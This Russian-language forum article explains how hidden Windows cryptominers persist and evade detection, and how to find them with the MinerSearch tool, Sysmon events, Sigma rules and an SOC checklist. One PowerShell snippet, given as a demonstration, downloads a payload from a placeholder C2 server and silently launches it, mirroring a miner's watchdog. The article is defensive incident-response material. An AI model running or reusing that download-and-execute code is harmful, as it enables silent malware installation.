На прошлом инциденте мы полтора часа искали причину аномальной нагрузки на сервере терминалов: CPU держался на 87% при пустых RDP-сессиях. Process Explorer показал процесс
conhost.exe, запущенный из C:\ProgramData\Microsoft\Crypto\ - директории, где настоящий conhost никогда не появляется. XMRig, замаскированный под системный процесс, тихо майнил через порт 3333. Endpoint-антивирус молчал три недели - майнер использовал process hollowing и в сигнатурную базу не попадал. Именно такие кейсы делают специализированный инструмент MinerSearch полезным: он ищет не «вирусы вообще», а конкретные паттерны поведения криптомайнеров. Разберём, как MinerSearch обнаруживает скрытые майнеры изнутри, какие техники используют злоумышленники, и что делать руками, когда автоматика буксует.Бизнес-логика скрытого майнинга: зачем это злоумышленнику
Скрытый майнер - одна из самых «тихих» угроз. В отличие от шифровальщика, который заявляет о себе сразу, криптомайнер генерирует стабильный пассивный доход месяцами. Схема простая: заразить максимум машин, добывать Monero (XMR) через пулы, минимизировать шум.Финансовый импакт для жертвы далеко не символический. На серверах - рост счетов за электроэнергию и деградация SLA. На терминальных серверах - жалобы пользователей на тормоза. На рабочих станциях - ускоренный износ GPU и блоков питания. Отдельные семейства (например, Smominru) совмещают майнинг с DDoS и проксированием трафика, превращая машину в часть ботнет-инфраструктуры.
Типичная цепочка атаки (kill chain) скрытого майнера на Windows:
- Initial Access - фишинг, пиратское ПО, эксплуатация уязвимости в публичном сервисе (Exploit Public-Facing Application, T1190)
- Execution - запуск загрузчика через PowerShell, cmd или Windows Installer (MSI)
- Persistence - создание службы, задачи в планировщике (Scheduled Task, T1053.005), запись в Run-ключи реестра
- Defense Evasion - маскировка под системный процесс (Masquerading, T1036), обфускация (Deobfuscate/Decode Files or Information, T1140), process injection в svchost.exe
- Discovery - поиск конкурирующих майнеров через сетевые соединения (System Network Connections Discovery, T1049)
- Impact - запуск XMRig / lolMiner и подключение к пулу
Как скрытый майнер закрепляется в Windows: техники по MITRE ATT&CK
Masquerading - маскировка под системные процессы (T1036)
Самая распространённая техника - переименование бинаря майнера вsvchost.exe, conhost.exe, csrss.exe и размещение в нестандартных директориях. Настоящий svchost.exe запускается только из C:\Windows\System32\, и его родительский процесс - services.exe. Любое отклонение - красный флаг.[Применимо: Windows 10/11, внутренний пентест / IR]
По данным Trend Micro, семейство Coinminer.Win32.MALXMR использует Windows Installer (MSI) для доставки и размещает файлы в
%AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server. После установки создаются три процесса svchost.exe для инъекции вредоносного кода: два работают как watchdog (перезагружают майнер при завершении), третий выполняет майнинг. Это усложняет удаление: убьёшь один процесс - watchdog поднимет его за секунды.В каталоге LOLBAS несколько легитимных Windows-утилит годятся для masquerading - например,
Diantz.exe и Makecab.exe (оба помечены для T1036). В Atomic Red Team есть готовый тест «System File Copied to Unusual Location» (PowerShell, Windows): он копирует системный файл в нестандартный каталог, воспроизводя именно то поведение, которое ищет MinerSearch при сканировании файловой системы.Контрмеры по D3FEND: File Analysis (D3-FA), File Integrity Monitoring (D3-FIM) и Dynamic Analysis (D3-DA) - все три нацелены на обнаружение маскировки исполняемых файлов.
Обфускация и доставка полезной нагрузки (T1140)
Майнеры доставляются в закодированном виде. На Windows для декодирования нередко используется[URL='https://lolbas-project.github.io/lolbas/Binaries/Certutil/']certutil.exe -decode[/URL] - штатная утилита для работы с сертификатами, внесённая в каталог LOLBAS как инструмент для Deobfuscate/Decode Files or Information (T1140). В случае Coinminer.Win32.MALXMR вредонос маскировал ZIP-архив под файл иконки (icon.ico), а внутри лежал загрузчик (default.ocx) и зашифрованный майнинг-модуль (default.bin).Watchdog-процессы используют PowerShell для повторной загрузки MSI-файла при обнаружении завершения майнера:
Код:
# Воспроизведение паттерна из отчёта Trend Micro (пример для демонстрации концепции)
$cli = New-Object System.Net.WebClient
$cli.Headers['User-Agent'] = 'Windows Installer'
$f = "$env:TEMP\payload.msi"
$cli.DownloadFile('https://<C2-server>/update.txt', $f)
Start-Process $f -ArgumentList '/q'
proc_creation_win_powershell_base64_frombase64string.yml из SigmaHQ - оно отлавливает использование FromBase64String в аргументах PowerShell. Правило proc_creation_win_certutil_susp_execution.yml ловит подозрительные вызовы certutil.Закрепление: службы и планировщик задач
[Применимо: Windows 10/11, IR / threat hunting]На Windows майнеры закрепляются через три основных вектора:
- Scheduled Tasks (T1053.005) - задачи в планировщике с запуском бинаря из нестандартных путей (
%TEMP%,%AppData%) - Службы Windows - регистрация службы без валидной цифровой подписи
- Run-ключи реестра -
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runи аналогичные ветки
Криптомайнеры на Linux используют другие механизмы закрепления - в частности, cron jobs. Техника T1053.003 (Cron) применима исключительно к Linux/macOS. Исследование Red Canary по группировке Rocke показывает, как злоумышленники размещают скрипты в
/etc/cron.hourly/, /etc/cron.daily/ и напрямую редактируют файлы crontab. MinerSearch к Linux неприменим - это исключительно Windows-инструмент.MinerSearch: архитектура инструмента и что он проверяет
MinerSearch - бесплатная утилита на GitHub (BlendLog/MinerSearch), написанная на .NET. Проект обсуждается на профильных площадках: SafeZone.cc, remontka.pro, Codeby. Разработчик присутствует в Telegram и принимает обратную связь через GitHub Issues. Последние релизы распространяются без пароля на архив - проект живой и поддерживается.Требования к окружению
- ОС: Windows 10 / Windows 11 (Windows 7/8 - с ограничениями)
- .NET Framework: версия 4.7.1 или новее (предустановлен в Windows 10/11)
- Привилегии: запуск строго от имени администратора
- Режим: обычная загрузка Windows (НЕ безопасный режим)
- RAM: работает на машинах от 2 ГБ, дополнительных ресурсов не требует
- Антивирус: Microsoft Defender, Kaspersky Endpoint Security и другие могут заблокировать MinerSearch - утилита вносит изменения в реестр и файловую систему. Решение: временно добавить в исключения (под ответственность аналитика)
- Сеть: не требуется - полностью офлайн-сканирование
Этапы сканирования - что происходит под капотом
- Руткит-проверка. Поиск руткитов уровня ядра, способных скрывать процессы из диспетчера задач. Если руткит сидит в системе - все остальные проверки бессмысленны, майнер просто не будет виден.
- Анализ запущенных процессов. Проверка активных процессов на masquerading: несовпадение имени и пути к бинарю, запуск из нехарактерных директорий. Подозрительные процессы принудительно завершаются.
- Сканирование файловой системы. Обход типичных директорий размещения майнеров:
%TEMP%,%AppData%,C:\ProgramData. Файлы сопоставляются с сигнатурами XMRig, lolMiner, PhoenixMiner и других известных майнеров. - Анализ реестра. Проверка Run-ключей и других точек автозагрузки.
- Проверка планировщика задач. Поиск задач с путём к бинарю из нестандартных директорий.
- Проверка служб. Верификация цифровых подписей. Без валидной подписи - служба помечается как подозрительная.
- Сигнатурное сканирование. Полный обход исполняемых файлов на системном диске.
C:\_MinerSearch_Logs\.Параметры для точечных проверок
Для blue team часто нужна возможность провести сканирование без автоматического лечения - сначала изучить отчёт, потом принять решение. MinerSearch поддерживает гранулярное управление через флаги:--no-rootkit-check, --no-runtime, --no-services, --no-signature-scan. Можно комбинировать в любом порядке, регистр не важен.Файлы, определённые как подозрительные (но не подтверждённые сигнатурами), помещаются в папку
minersearch_quarantine рядом с исполняемым файлом. Вредоносные файлы (совпадение по сигнатуре) удаляются без запроса. После завершения сканирования обязательно проверьте карантин - туда может попасть легитимное ПО без подписи.Ручное обнаружение криптомайнера: пошаговый чеклист
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
и
C:\Program Files\, службы с ImagePath в нестандартных директориях.Шаг 3: Sysmon и Windows Event Log. Если Sysmon установлен (а для SOC это must-have), проверяем три типа событий. Event ID 1 (Process Create) - ищем создание процессов из временных директорий с аргументами, содержащими
--config, --url, stratum+tcp://. Event ID 3 (Network Connection) - соединения на порты пулов (3333, 4444, 5555). Event ID 7 (Image Loaded) - загрузка DLL из нестандартных путей в svchost.exe.Без Sysmon анализ сильно ограничен: стандартные журналы Windows не логируют command line процессов и сетевые соединения с достаточной детализацией. В SigmaHQ есть готовые правила для детекта:
posh_pm_susp_get_nettcpconnection.yml для мониторинга подозрительных вызовов Get-NetTCPConnection, а правило proc_creation_win_net_use_network_connections_discovery.yml отслеживает разведку сетевых соединений.Шаг 4: повторная проверка после перезагрузки. Если майнер найден и удалён - перезагрузите машину и повторите шаги 1–2. Watchdog-механизмы могут восстановить майнер из резервной копии или повторно скачать его с C2-сервера.
Ограничения MinerSearch и когда его недостаточно
- Только Windows. Linux-серверы, где криптомайнеры тоже распространены (особенно через уязвимости в Redis, Weblogic, Apache Struts - Exploit Public-Facing Application, T1190), MinerSearch не покрывает. Для Linux нужны другие инструменты:
rkhunter,chkrootkit, ручной анализ cron jobs и/proc. - Сигнатурная база ограничена. Новые или модифицированные варианты майнеров, не попавшие в базу, могут пролететь мимо. MinerSearch дополняет сигнатурный подход поведенческими проверками (пути, подписи, руткиты), но полноценный EDR не заменяет. Для enterprise-уровня детекта криптомайнеров существуют ML-подходы - например, Sysdig описывает модель классификации на основе runtime-анализа syscalls с акцентом на минимизацию false positives.
- Ложные срабатывания. Корпоративные службы без цифровой подписи могут быть остановлены. Всегда изучайте лог и проверяйте карантин перед продакшн-использованием.
- Не детектирует веб-майнеры. Криптоджекинг через JavaScript (бывший CoinHive и аналоги) - вне зоны действия MinerSearch.
- Не масштабируется. Это утилита для одной машины. Для проверки парка хостов нужен Velociraptor, SCCM с custom-скриптами или EDR с правилами детекта.
- Антивирус может заблокировать MinerSearch. На заражённой машине майнер может дополнительно блокировать скачивание утилит безопасности - по данным remontka.pro, в таком случае помогает AV Block Remover или загрузка с Kaspersky Rescue Disk.
Чем MinerSearch отличается от антивирусных сканеров
| Критерий | MinerSearch | Kaspersky Virus Removal Tool | Dr.Web CureIt! | Malwarebytes |
|---|---|---|---|---|
| Специализация | Только майнеры | Все типы угроз | Все типы угроз | Все типы угроз |
| Руткит-проверка | Да | Да | Да | Частично |
| Проверка служб по подписи | Да | Нет | Нет | Нет |
| Очистка реестра от артефактов | Да | Нет | Нет | Частично |
| Проверка планировщика задач | Да | Нет | Нет | Нет |
| Сигнатурная база | Узкая (майнеры) | Широкая | Широкая | Широкая |
| Офлайн-работа | Да | Да | Да | Нет |
| Стоимость | Бесплатно | Бесплатно | Бесплатно | Freemium |
| Enterprise-масштабирование | Нет | Нет | Нет | Через консоль |
Когда использовать MinerSearch: подозрение именно на криптомайнер, антивирус не справляется, нужна глубокая проверка механизмов закрепления (реестр, службы, планировщик).
Когда MinerSearch недостаточно: заражение комплексным вредоносом (шифровальщик + майнер), нужно проверить десятки хостов, Linux-среда, нужна ML-детекция неизвестных семейств.
Готовый чеклист для SOC: поиск скрытого майнера
Нумерованный список для включения в IR-playbook:- Проверить загрузку CPU/GPU в диспетчере задач - аномалия >50% при простое
- Запустить проверку masquerading:
Get-Process svchost | Where-Object {$_.Path -notlike "[I]System32[/I]"} - Проверить сетевые соединения с пулами на портах 3333, 4444, 5555, 14444
- Запустить Autoruns - проверить автозагрузку, службы без подписи, задачи планировщика
- Скачать MinerSearch с GitHub (BlendLog/MinerSearch), запустить от имени администратора
- Изучить лог в
C:\_MinerSearch_Logs\- записи с пометкой «Found threats» - Проверить карантин
minersearch_quarantine- исключить ложные срабатывания - Перезагрузить машину и повторить шаги 1–3 - убедиться, что watchdog не восстановил майнер
- Проверить Sysmon (Event ID 1, 3, 7) за последние 30 дней - определить момент первичного заражения
- Запустить KVRT или Dr.Web CureIt! для поиска сопутствующего вредоносного ПО